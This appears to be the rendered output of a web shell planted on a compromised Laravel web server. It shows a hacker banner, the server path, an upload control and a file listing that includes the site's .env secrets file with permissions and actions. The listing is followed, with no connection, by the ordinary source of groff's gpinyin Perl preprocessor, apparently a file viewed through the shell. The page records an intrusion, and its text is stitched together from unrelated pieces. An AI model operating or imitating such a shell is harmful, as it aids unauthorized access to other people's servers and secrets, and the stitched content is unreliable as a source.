I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
#! /usr/bin/perl
# gpinyin - European-like Chinese writing 'pinyin' into 'groff'
# Source file position: /contrib/gpinyin/gpinyin.pl
# Installed position: /bin/gpinyin
# Copyright (C) 2014-2018 Free Software Foundation, Inc.
# Written by Bernd Warken .
my $version = '1.0.4';
# This file is part of 'gpinyin', which is part of 'groff'.
# 'groff' is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
# 'groff' is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
# You can find a copy of the GNU General Public License in the internet
# at .
########################################################################
use strict;
use warnings;
#use diagnostics;
# temporary dir and files
use File::Temp qw/ tempfile tempdir /;
# needed for temporary dir
use File::Spec;
# for 'copy' and 'move'
use File::Copy;
# for fileparse, dirname and basename
use File::Basename;
# current working directory
use Cwd;
# $Bin is the directory where this script is located
use FindBin;
########################################################################
# system variables and exported variables
########################################################################
$\ = "\n"; # final part for print command
########################################################################
# read-only variables with double-@ construct
########################################################################
our $File_split_env_sh;
our $File_version_sh;
our $Groff_Version;
my $before_make; # script before run of 'make'
{
my $at = '@';
$before_make = 1 if '1.22.4' eq "${at}VERSION${at}";
}
my %at_at;
my $file_gpinyin_test_pl;
my $gpinyin_libdir;
if ($before_make) {
my $gpinyin_source_dir = $FindBin::Bin;
$at_at{'BINDIR'} = $gpinyin_source_dir;
$at_at{'G'} = '';
$gpinyin_libdir = '/usr/lib/groff/gpinyin';
} else {
$at_at{'BINDIR'} = '/usr/bin';
$at_at{'G'} = '';
$gpinyin_libdir = '/usr/lib/groff/gpinyin';
unshift(@INC, $gpinyin_libdir);
}
require 'subs.pl';
########################################################################
# options
########################################################################
foreach (@ARGV) {
if ( /^(-h|--h|--he|--hel|--help)$/ ) {
print q(Usage for the 'gpinyin' program:);
print 'gpinyin [-] [--] [filespec...] normal file name arguments';
print 'gpinyin [-h|--help] gives usage information';
print 'gpinyin [-v|--version] displays the version number';
print q(This program is a 'groff' preprocessor that handles ) .
q(pinyin parts in 'roff' files.);
exit;
} elsif (/^(-v|--v|--ve|--ver|--vers|--versi|--versio|--version)$/) {
print q('gpinyin' version ) . $version;
exit;
}
}
########################################################################
# input
########################################################################
my $pinyin_mode = 0; # not in Pinyin mode
my @output_n = # nroff
(
'.ie n \\{\\',
);
my @output_t = # troff
(
'.el \\{\\',
);
unshift @ARGV, '-' unless @ARGV;
foreach my $filename (@ARGV) {
my $input;
if ($filename eq '-') {
$input = \*STDIN;
} elsif (not open $input, '<', $filename) {
warn $!;
next;
}
while (<$input>) {
chomp;
s/\s+$//; # remove final spaces
# &err('gpinyin: ' . $_);
my $line = $_; # with starting blanks
# .pinyin start or begin line
if ( $line =~ /^[.']\s*pinyin\s+(start|begin)$/ ) {
if ( $pinyin_mode ) {
# '.pinyin' was started twice, ignore
&err( q['.pinyin' starter was run several times] );
} else { # new pinyin start
$pinyin_mode = 1;
}
next;
}
# .pinyin stop or end line
if ( $line =~ /^[.']\s*pinyin\s+(stop|end)$/ ) {
if ( $pinyin_mode ) { # normal stop
$pinyin_mode = 0;
&finish_pinyin_mode( \@output_n, \@output_t );
} else { # ignore
&err( 'gpinyin: there was a .pinyin stop without ' .
'being in pinyin mode' );
}
next;
}
# now not a .pinyin line
if ( $pinyin_mode ) { # within Pinyin
my $starting_blanks = '';
$starting_blanks = $1 if ( s/^(s+)// ); # handle starting spaces
my %outline = &handle_line($starting_blanks, $line);
# &err('gpinyin outline n: ' . $outline{'n'} );
# &err('gpinyin outline t: ' . $outline{'t'} );
push @output_n, $outline{'n'};
push @output_t, $outline{'t'};
} else { # normal roff line, not within Pinyin
print $line;
}
next;
} # end of input line
}
########################################################################
# end of file without stopping 'pinyin' mode
if ( $pinyin_mode ) {
&finish_pinyin_mode( \@output_n, \@output_t );
}
########################################################################
1;
########################################################################
### Emacs settings
# Local Variables:
# mode: CPerl
# End: